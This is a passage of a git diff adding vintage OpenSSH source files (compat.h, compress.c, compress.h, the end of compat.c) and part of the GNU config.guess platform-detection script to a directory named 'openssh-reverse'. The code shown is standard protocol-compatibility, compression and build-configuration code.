== SSH_PROTO_UNKNOWN) + ret |= SSH_PROTO_1_PREFERRED; + ret |= SSH_PROTO_1; + break; + case 2: + ret |= SSH_PROTO_2; + break; + default: + log("ignoring bad proto spec: '%s'.", p); + break; + } + } + xfree(s); + return ret; +} diff --git a/other/openssh-reverse/compat.h b/other/openssh-reverse/compat.h new file mode 100644 index 0000000..2060a39 --- /dev/null +++ b/other/openssh-reverse/compat.h @@ -0,0 +1,52 @@ +/* + * Copyright (c) 1999 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +/* RCSID("$OpenBSD: compat.h,v 1.9 2000/06/20 01:39:40 markus Exp $"); */ + +#ifndef COMPAT_H +#define COMPAT_H + +#define SSH_PROTO_UNKNOWN 0x00 +#define SSH_PROTO_1 0x01 +#define SSH_PROTO_1_PREFERRED 0x02 +#define SSH_PROTO_2 0x04 + +#define SSH_BUG_SIGBLOB 0x01 +#define SSH_BUG_PUBKEYAUTH 0x02 +#define SSH_BUG_HMAC 0x04 +#define SSH_BUG_X11FWD 0x08 +#define SSH_COMPAT_SESSIONID_ENCODING 0x10 + +void enable_compat13(void); +void enable_compat20(void); +void compat_datafellows(const char *s); +int proto_spec(const char *spec); +extern int compat13; +extern int compat20; +extern int datafellows; +#endif diff --git a/other/openssh-reverse/compress.c b/other/openssh-reverse/compress.c new file mode 100644 index 0000000..4ec2010 --- /dev/null +++ b/other/openssh-reverse/compress.c @@ -0,0 +1,143 @@ +/* + * + * compress.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Wed Oct 25 22:12:46 1995 ylo + * + * Interface to packet compression for ssh. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: compress.c,v 1.8 2000/06/20 01:39:40 markus Exp $"); + +#include "ssh.h" +#include "buffer.h" +#include "zlib.h" + +static z_stream incoming_stream; +static z_stream outgoing_stream; + +/* + * Initializes compression; level is compression level from 1 to 9 + * (as in gzip). + */ + +void +buffer_compress_init(int level) +{ + debug("Enabling compression at level %d.", level); + if (level < 1 || level > 9) + fatal("Bad compression level %d.", level); + inflateInit(&incoming_stream); + deflateInit(&outgoing_stream, level); +} + +/* Frees any data structures allocated for compression. */ + +void +buffer_compress_uninit() +{ + debug("compress outgoing: raw data %lu, compressed %lu, factor %.2f", + outgoing_stream.total_in, outgoing_stream.total_out, + outgoing_stream.total_in == 0 ? 0.0 : + (double) outgoing_stream.total_out / outgoing_stream.total_in); + debug("compress incoming: raw data %lu, compressed %lu, factor %.2f", + incoming_stream.total_out, incoming_stream.total_in, + incoming_stream.total_out == 0 ? 0.0 : + (double) incoming_stream.total_in / incoming_stream.total_out); + inflateEnd(&incoming_stream); + deflateEnd(&outgoing_stream); +} + +/* + * Compresses the contents of input_buffer into output_buffer. All packets + * compressed using this function will form a single compressed data stream; + * however, data will be flushed at the end of every call so that each + * output_buffer can be decompressed independently (but in the appropriate + * order since they together form a single compression stream) by the + * receiver. This appends the compressed data to the output buffer. + */ + +void +buffer_compress(Buffer * input_buffer, Buffer * output_buffer) +{ + char buf[4096]; + int status; + + /* This case is not handled below. */ + if (buffer_len(input_buffer) == 0) + return; + + /* Input is the contents of the input buffer. */ + outgoing_stream.next_in = (unsigned char *) buffer_ptr(input_buffer); + outgoing_stream.avail_in = buffer_len(input_buffer); + + /* Loop compressing until deflate() returns with avail_out != 0. */ + do { + /* Set up fixed-size output buffer. */ + outgoing_stream.next_out = (unsigned char *)buf; + outgoing_stream.avail_out = sizeof(buf); + + /* Compress as much data into the buffer as possible. */ + status = deflate(&outgoing_stream, Z_PARTIAL_FLUSH); + switch (status) { + case Z_OK: + /* Append compressed data to output_buffer. */ + buffer_append(output_buffer, buf, + sizeof(buf) - outgoing_stream.avail_out); + break; + default: + fatal("buffer_compress: deflate returned %d", status); + /* NOTREACHED */ + } + } while (outgoing_stream.avail_out == 0); +} + +/* + * Uncompresses the contents of input_buffer into output_buffer. All packets + * uncompressed using this function will form a single compressed data + * stream; however, data will be flushed at the end of every call so that + * each output_buffer. This must be called for the same size units that the + * buffer_compress was called, and in the same order that buffers compressed + * with that. This appends the uncompressed data to the output buffer. + */ + +void +buffer_uncompress(Buffer * input_buffer, Buffer * output_buffer) +{ + char buf[4096]; + int status; + + incoming_stream.next_in = (unsigned char *) buffer_ptr(input_buffer); + incoming_stream.avail_in = buffer_len(input_buffer); + + for (;;) { + /* Set up fixed-size output buffer. */ + incoming_stream.next_out = (unsigned char *) buf; + incoming_stream.avail_out = sizeof(buf); + + status = inflate(&incoming_stream, Z_PARTIAL_FLUSH); + switch (status) { + case Z_OK: + buffer_append(output_buffer, buf, + sizeof(buf) - incoming_stream.avail_out); + break; + case Z_BUF_ERROR: + /* + * Comments in zlib.h say that we should keep calling + * inflate() until we get an error. This appears to + * be the error that we get. + */ + return; + default: + fatal("buffer_uncompress: inflate returned %d", status); + /* NOTREACHED */ + } + } +} diff --git a/other/openssh-reverse/compress.h b/other/openssh-reverse/compress.h new file mode 100644 index 0000000..ce7d7fa --- /dev/null +++ b/other/openssh-reverse/compress.h @@ -0,0 +1,50 @@ +/* + * + * compress.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Wed Oct 25 22:12:46 1995 ylo + * + * Interface to packet compression for ssh. + * + */ + +/* RCSID("$OpenBSD: compress.h,v 1.5 2000/06/20 01:39:40 markus Exp $"); */ + +#ifndef COMPRESS_H +#define COMPRESS_H + +/* + * Initializes compression; level is compression level from 1 to 9 (as in + * gzip). + */ +void buffer_compress_init(int level); + +/* Frees any data structures allocated by buffer_compress_init. */ +void buffer_compress_uninit(); + +/* + * Compresses the contents of input_buffer into output_buffer. All packets + * compressed using this function will form a single compressed data stream; + * however, data will be flushed at the end of every call so that each + * output_buffer can be decompressed independently (but in the appropriate + * order since they together form a single compression stream) by the + * receiver. This appends the compressed data to the output buffer. + */ +void buffer_compress(Buffer * input_buffer, Buffer * output_buffer); + +/* + * Uncompresses the contents of input_buffer into output_buffer. All packets + * uncompressed using this function will form a single compressed data + * stream; however, data will be flushed at the end of every call so that + * each output_buffer. This must be called for the same size units that the + * buffer_compress was called, and in the same order that buffers compressed + * with that. This appends the uncompressed data to the output buffer. + */ +void buffer_uncompress(Buffer * input_buffer, Buffer * output_buffer); + +#endif /* COMPRESS_H */ diff --git a/other/openssh-reverse/config.guess b/other/openssh-reverse/config.guess new file mode 100755 index 0000000..b4faaed --- /dev/null +++ b/other/openssh-reverse/config.guess @@ -0,0 +1,1270 @@ +#! /bin/sh +# Attempt to guess a canonical system name. +# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000 +# Free Software Foundation, Inc. + +version='2000-05-30' + +# This file is free software; you can redistribute it and/or modify it +# under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. +# +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +# Written by Per Bothner . +# Please send patches to . +# +# This script attempts to guess a canonical system name similar to +# config.sub. If it succeeds, it prints the system name on stdout, and +# exits with 0. Otherwise, it exits with 1. +# +# The plan is that this can be called by configure scripts if you +# don't specify an explicit system type (host/target name). +# +# Only a few systems have been added to this list; please add others +# (but try to keep the structure clean). +# + +me=`echo "$0" | sed -e 's,.*/,,'` + +usage="\ +Usage: $0 [OPTION] + +Output the configuration name of this system. + +Operation modes: + -h, --help print this help, then exit + -V, --version print version number, then exit" + +help=" +Try \`$me --help' for more information." + +# Parse command line +while test $# -gt 0 ; do + case "$1" in + --version | --vers* | -V ) + echo "$version" ; exit 0 ;; + --help | --h* | -h ) + echo "$usage"; exit 0 ;; + -- ) # Stop option processing + shift; break ;; + - ) # Use stdin as input. + break ;; + -* ) + exec >&2 + echo "$me: invalid option $1" + echo "$help" + exit 1 ;; + * ) + break ;; + esac +done + +if test $# != 0; then + echo "$me: too many arguments$help" >&2 + exit 1 +fi + +# Use $HOST_CC if defined. $CC may point to a cross-compiler +if test x"$CC_FOR_BUILD" = x; then + if test x"$HOST_CC" != x; then + CC_FOR_BUILD="$HOST_CC" + else + if test x"$CC" != x; then + CC_FOR_BUILD="$CC" + else + CC_FOR_BUILD=cc + fi + fi +fi + + +# This is needed to find uname on a Pyramid OSx when run in the BSD universe. +# (ghazi@noc.rutgers.edu 8/24/94.) +if (test -f /.attbin/uname) >/dev/null 2>&1 ; then + PATH=$PATH:/.attbin ; export PATH +fi + +UNAME_MACHINE=`(uname -m) 2>/dev/null` || UNAME_MACHINE=unknown +UNAME_RELEASE=`(uname -r) 2>/dev/null` || UNAME_RELEASE=unknown +UNAME_SYSTEM=`(uname -s) 2>/dev/null` || UNAME_SYSTEM=unknown +UNAME_VERSION=`(uname -v) 2>/dev/null` || UNAME_VERSION=unknown + +dummy=dummy-$$ +trap 'rm -f $dummy.c $dummy.o $dummy; exit 1' 1 2 15 + +# Note: order is significant - the case branches are not exclusive. + +case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" in + *:NetBSD:*:*) + # Netbsd (nbsd) targets should (where applicable) match one or + # more of the tupples: *-*-netbsdelf*, *-*-netbsdaout*, + # *-*-netbsdecoff* and *-*-netbsd*. For targets that recently + # switched to ELF, *-*-netbsd* would select the old + # object file format. This provides both forward + # compatibility and a consistent mechanism for selecting the + # object file format. + # Determine the machine/vendor (is the vendor relevant). + case "${UNAME_MACHINE}" in + amiga) machine=m68k-cbm ;; + arm32) machine=arm-unknown ;; + atari*) machine=m68k-atari ;; + sun3*) machine=m68k-sun ;; + mac68k) machine=m68k-apple ;; + macppc) machine=powerpc-apple ;; + hp3[0-9][05]) machine=m68k-hp ;; + ibmrt|romp-ibm) machine=romp-ibm ;; + *) machine=${UNAME_MACHINE}-unknown ;; + esac + # The Operating System including object format. + if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \ + | grep __ELF__ >/dev/null + then + # Once all utilities can be ECOFF (netbsdecoff) or a.out (netbsdaout). + # Return netbsd for either. FIX? + os=netbsd + else + os=netbsdelf + fi + # The OS release + release=`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'` + # Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM: + # contains redundant information, the shorter form: + # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used. + echo "${machine}-${os}${release}" + exit 0 ;; + alpha:OSF1:*:*) + if test $UNAME_RELEASE = "V4.0"; then + UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $3}'` + fi + # A Vn.n version is a released version. + # A Tn.n version is a released field test version. + # A Xn.n version is an unreleased experimental baselevel. + # 1.2 uses "1.2" for uname -r. + cat <$dummy.s + .data +\$Lformat: + .byte 37,100,45,37,120,10,0 # "%d-%x\n" + + .text + .globl main + .align 4 + .ent main +main: + .frame \$30,16,\$26,0 + ldgp \$29,0(\$27) + .prologue 1 + .long 0x47e03d80 # implver \$0 + lda \$2,-1 + .long 0x47e20c21 # amask \$2,\$1 + lda \$16,\$Lformat + mov \$0,\$17 + not \$1,\$18 + jsr \$26,printf + ldgp \$29,0(\$26) + mov 0,\$16 + jsr \$26,exit + .end main +EOF + $CC_FOR_BUILD $dummy.s -o $dummy 2>/dev/null + if test "$?" = 0 ; then + case `./$dummy` in + 0-0) + UNAME_MACHINE="alpha" + ;; + 1-0) + UNAME_MACHINE="alphaev5" + ;; + 1-1) + UNAME_MACHINE="alphaev56" + ;; + 1-101) + UNAME_MACHINE="alphapca56" + ;; + 2-303) + UNAME_MACHINE="alphaev6" + ;; + 2-307) + UNAME_MACHINE="alphaev67" + ;; + esac + fi + rm -f $dummy.s $dummy + echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[VTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` + exit 0 ;; + Alpha\ *:Windows_NT*:*) + # How do we know it's Interix rather than the generic POSIX subsystem? + # Should we change UNAME_MACHINE based on the output of uname instead + # of the specific Alpha model? + echo alpha-pc-interix + exit 0 ;; + 21064:Windows_NT:50:3) + echo alpha-dec-winnt3.5 + exit 0 ;; + Amiga*:UNIX_System_V:4.0:*) + echo m68k-cbm-sysv4 + exit 0;; + amiga:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + *:[Aa]miga[Oo][Ss]:*:*) + echo ${UNAME_MACHINE}-unknown-amigaos + exit 0 ;; + arc64:OpenBSD:*:*) + echo mips64el-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + arc:OpenBSD:*:*) + echo mipsel-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + hkmips:OpenBSD:*:*) + echo mips-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + pmax:OpenBSD:*:*) + echo mipsel-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + sgi:OpenBSD:*:*) + echo mips-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + wgrisc:OpenBSD:*:*) + echo mipsel-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + *:OS/390:*:*) + echo i370-ibm-openedition + exit 0 ;; + arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*) + echo arm-acorn-riscix${UNAME_RELEASE} + exit 0;; + SR2?01:HI-UX/MPP:*:*) + echo hppa1.1-hitachi-hiuxmpp + exit 0;; + Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*) + # akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE. + if test "`(/bin/universe) 2>/dev/null`" = att ; then + echo pyramid-pyramid-sysv3 + else + echo pyramid-pyramid-bsd + fi + exit 0 ;; + NILE*:*:*:dcosx) + echo pyramid-pyramid-svr4 + exit 0 ;; + sun4H:SunOS:5.*:*) + echo sparc-hal-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*) + echo sparc-sun-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + i86pc:SunOS:5.*:*) + echo i386-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + sun4*:SunOS:6*:*) + # According to config.sub, this is the proper way to canonicalize + # SunOS6. Hard to guess exactly what SunOS6 will be like, but + # it's likely to be more like Solaris than SunOS4. + echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + sun4*:SunOS:*:*) + case "`/usr/bin/arch -k`" in + Series*|S4*) + UNAME_RELEASE=`uname -v` + ;; + esac + # Japanese Language versions have a version number like `4.1.3-JL'. + echo sparc-sun-sunos`echo ${UNAME_RELEASE}|sed -e 's/-/_/'` + exit 0 ;; + sun3*:SunOS:*:*) + echo m68k-sun-sunos${UNAME_RELEASE} + exit 0 ;; + sun*:*:4.2BSD:*) + UNAME_RELEASE=`(head -1 /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null` + test "x${UNAME_RELEASE}" = "x" && UNAME_RELEASE=3 + case "`/bin/arch`" in + sun3) + echo m68k-sun-sunos${UNAME_RELEASE} + ;; + sun4) + echo sparc-sun-sunos${UNAME_RELEASE} + ;; + esac + exit 0 ;; + aushp:SunOS:*:*) + echo sparc-auspex-sunos${UNAME_RELEASE} + exit 0 ;; + atari*:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + # The situation for MiNT is a little confusing. The machine name + # can be virtually everything (everything which is not + # "atarist" or "atariste" at least should have a processor + # > m68000). The system name ranges from "MiNT" over "FreeMiNT" + # to the lowercase version "mint" (or "freemint"). Finally + # the system name "TOS" denotes a system which is actually not + # MiNT. But MiNT is downward compatible to TOS, so this should + # be no problem. + atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*) + echo m68k-atari-mint${UNAME_RELEASE} + exit 0 ;; + atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*) + echo m68k-atari-mint${UNAME_RELEASE} + exit 0 ;; + *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*) + echo m68k-atari-mint${UNAME_RELEASE} + exit 0 ;; + milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*) + echo m68k-milan-mint${UNAME_RELEASE} + exit 0 ;; + hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*) + echo m68k-hades-mint${UNAME_RELEASE} + exit 0 ;; + *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*) + echo m68k-unknown-mint${UNAME_RELEASE} + exit 0 ;; + sun3*:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + mac68k:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + mvme68k:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + mvme88k:OpenBSD:*:*) + echo m88k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + powerpc:machten:*:*) + echo powerpc-apple-machten${UNAME_RELEASE} + exit 0 ;; + RISC*:Mach:*:*) + echo mips-dec-mach_bsd4.3 + exit 0 ;; + RISC*:ULTRIX:*:*) + echo mips-dec-ultrix${UNAME_RELEASE} + exit 0 ;; + VAX*:ULTRIX*:*:*) + echo vax-dec-ultrix${UNAME_RELEASE} + exit 0 ;; + 2020:CLIX:*:* | 2430:CLIX:*:*) + echo clipper-intergraph-clix${UNAME_RELEASE} + exit 0 ;; + mips:*:*:UMIPS | mips:*:*:RISCos) + sed 's/^ //' << EOF >$dummy.c +#ifdef __cplusplus +#include /* for printf() prototype */ + int main (int argc, char *argv[]) { +#else + int main (argc, argv) int argc; char *argv[]; { +#endif + #if defined (host_mips) && defined (MIPSEB) + #if defined (SYSTYPE_SYSV) + printf ("mips-mips-riscos%ssysv\n", argv[1]); exit (0); + #endif + #if defined (SYSTYPE_SVR4) + printf ("mips-mips-riscos%ssvr4\n", argv[1]); exit (0); + #endif + #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD) + printf ("mips-mips-riscos%sbsd\n", argv[1]); exit (0); + #endif + #endif + exit (-1); + } +EOF + $CC_FOR_BUILD $dummy.c -o $dummy \ + && ./$dummy `echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` \ + && rm $dummy.c $dummy && exit 0 + rm -f $dummy.c $dummy + echo mips-mips-riscos${UNAME_RELEASE} + exit 0 ;; + Night_Hawk:Power_UNIX:*:*) + echo powerpc-harris-powerunix + exit 0 ;; + m88k:CX/UX:7*:*) + echo m88k-harris-cxux7 + exit 0 ;; + m88k:*:4*:R4*) + echo m88k-motorola-sysv4 + exit 0 ;; + m88k:*:3*:R3*) + echo m88k-motorola-sysv3 + exit 0 ;; + AViiON:dgux:*:*) + # DG/UX returns AViiON for all architectures + UNAME_PROCESSOR=`/usr/bin/uname -p` + if [ $UNAME_PROCESSOR = mc88100 ] || [ $UNAME_PROCESSOR = mc88110 ] + then + if [ ${TARGET_BINARY_INTERFACE}x = m88kdguxelfx ] || \ + [ ${TARGET_BINARY_INTERFACE}x = x ] + then + echo m88k-dg-dgux${UNAME_RELEASE} + else + echo m88k-dg-dguxbcs${UNAME_RELEASE} + fi + else + echo i586-dg-dgux${UNAME_RELEASE} + fi + exit 0 ;; + M88*:DolphinOS:*:*) # DolphinOS (SVR3) + echo m88k-dolphin-sysv3 + exit 0 ;; + M88*:*:R3*:*) + # Delta 88k system running SVR3 + echo m88k-motorola-sysv3 + exit 0 ;; + XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3) + echo m88k-tektronix-sysv3 + exit 0 ;; + Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD) + echo m68k-tektronix-bsd + exit 0 ;; + *:IRIX*:*:*) + echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'` + exit 0 ;; + ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX. + echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id + exit 0 ;; # Note that: echo "'`uname -s`'" gives 'AIX ' + i?86:AIX:*:*) + echo i386-ibm-aix + exit 0 ;; + *:AIX:2:3) + if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then + sed 's/^ //' << EOF >$dummy.c + #include + + main() + { + if (!__power_pc()) + exit(1); + puts("powerpc-ibm-aix3.2.5"); + exit(0); + } +EOF + $CC_FOR_BUILD $dummy.c -o $dummy && ./$dummy && rm $dummy.c $dummy && exit 0 + rm -f $dummy.c $dummy + echo rs6000-ibm-aix3.2.5 + elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then + echo rs6000-ibm-aix3.2.4 + else + echo rs6000-ibm-aix3.2 + fi + exit 0 ;; + *:AIX:*:4) + IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | head -1 | awk '{ print $1 }'` + if /usr/sbin/lsattr -EHl ${IBM_CPU_ID} | grep POWER >/dev/null 2>&1; then + IBM_ARCH=rs6000 + else + IBM_ARCH=powerpc + fi + if [ -x /usr/bin/oslevel ] ; then + IBM_REV=`/usr/bin/oslevel` + else + IBM_REV=4.${UNAME_RELEASE} + fi + echo ${IBM_ARCH}-ibm-aix${IBM_REV} + exit 0 ;; + *:AIX:*:*) + echo rs6000-ibm-aix + exit 0 ;; + ibmrt:4.4BSD:*|romp-ibm:BSD:*) + echo romp-ibm-bsd4.4 + exit 0 ;; + ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and + echo romp-ibm-bsd${UNAME_RELEASE} # 4.3 with uname added to + exit 0 ;; # report: romp-ibm BSD 4.3 + *:BOSX:*:*) + echo rs6000-bull-bosx + exit 0 ;; + DPX/2?00:B.O.S.:*:*) + echo m68k-bull-sysv3 + exit 0 ;; + 9000/[34]??:4.3bsd:1.*:*) + echo m68k-hp-bsd + exit 0 ;; + hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*) + echo m68k-hp-bsd4.4 + exit 0 ;; + 9000/[34678]??:HP-UX:*:*) + case "${UNAME_MACHINE}" in + 9000/31? ) HP_ARCH=m68000 ;; + 9000/[34]?? ) HP_ARCH=m68k ;; + 9000/[678][0-9][0-9]) + sed 's/^ //' << EOF >$dummy.c + + #define _HPUX_SOURCE + #include + #include + + int main () + { + #if defined(_SC_KERNEL_BITS) + long bits = sysconf(_SC_KERNEL_BITS); + #endif + long cpu = sysconf (_SC_CPU_VERSION); + + switch (cpu) + { + case CPU_PA_RISC1_0: puts ("hppa1.0"); break; + case CPU_PA_RISC1_1: puts ("hppa1.1"); break; + case CPU_PA_RISC2_0: + #if defined(_SC_KERNEL_BITS) + switch (bits) + { + case 64: puts ("hppa2.0w"); break; + case 32: puts ("hppa2.0n"); break; + default: puts ("hppa2.0"); break; + } break; + #else /* !defined(_SC_KERNEL_BITS) */ + puts ("hppa2.0"); break; + #endif + default: puts ("hppa1.0"); break; + } + exit (0); + } +EOF + (CCOPTS= $CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null ) && HP_ARCH=`./$dummy` + rm -f $dummy.c $dummy + esac + HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` + echo ${HP_ARCH}-hp-hpux${HPUX_REV} + exit 0 ;; + 3050*:HI-UX:*:*) + sed 's/^ //' << EOF >$dummy.c + #include + int + main () + { + long cpu = sysconf (_SC_CPU_VERSION); + /* The order matters, because CPU_IS_HP_MC68K erroneously returns + true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct + results, however. */ + if (CPU_IS_PA_RISC (cpu)) + { + switch (cpu) + { + case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break; + case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break; + case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break; + default: puts ("hppa-hitachi-hiuxwe2"); break; + } + } + else if (CPU_IS_HP_MC68K (cpu)) + puts ("m68k-hitachi-hiuxwe2"); + else puts ("unknown-hitachi-hiuxwe2"); + exit (0); + } +EOF + $CC_FOR_BUILD $dummy.c -o $dummy && ./$dummy && rm $dummy.c $dummy && exit 0 + rm -f $dummy.c $dummy + echo unknown-hitachi-hiuxwe2 + exit 0 ;; + 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* ) + echo hppa1.1-hp-bsd + exit 0 ;; + 9000/8??:4.3bsd:*:*) + echo hppa1.0-hp-bsd + exit 0 ;; + *9??*:MPE/iX:*:*) + echo hppa1.0-hp-mpeix + exit 0 ;; + hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* ) + echo hppa1.1-hp-osf + exit 0 ;; + hp8??:OSF1:*:*) + echo hppa1.0-hp-osf + exit 0 ;; + i?86:OSF1:*:*) + if [ -x /usr/sbin/sysversion ] ; then + echo ${UNAME_MACHINE}-unknown-osf1mk + else + echo ${UNAME_MACHINE}-unknown-osf1 + fi + exit 0 ;; + parisc*:Lites*:*:*) + echo hppa1.1-hp-lites + exit 0 ;; + hppa*:OpenBSD:*:*) + echo hppa-unknown-openbsd + exit 0 ;; + C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*) + echo c1-convex-bsd + exit 0 ;; + C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*) + if getsysinfo -f scalar_acc + then echo c32-convex-bsd + else echo c2-convex-bsd + fi + exit 0 ;; + C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*) + echo c34-convex-bsd + exit 0 ;; + C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*) + echo c38-convex-bsd + exit 0 ;; + C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*) + echo c4-convex-bsd + exit 0 ;; + CRAY*X-MP:*:*:*) + echo xmp-cray-unicos + exit 0 ;; + CRAY*Y-MP:*:*:*) + echo ymp-cray-unicos${UNAME_RELEASE} + exit 0 ;; + CRAY*[A-Z]90:*:*:*) + echo ${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \ + | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \ + -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ + exit 0 ;; + CRAY*TS:*:*:*) + echo t90-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + CRAY*T3E:*:*:*) + echo alpha-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + CRAY*SV1:*:*:*) + echo sv1-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + CRAY-2:*:*:*) + echo cray2-cray-unicos + exit 0 ;; + F300:UNIX_System_V:*:*) + FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` + FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'` + echo "f300-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" + exit 0 ;; + F301:UNIX_System_V:*:*) + echo f301-fujitsu-uxpv`echo $UNAME_RELEASE | sed 's/ .*//'` + exit 0 ;; + hp300:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + i?86:BSD/386:*:* | i?86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*) + echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE} + exit 0 ;; + 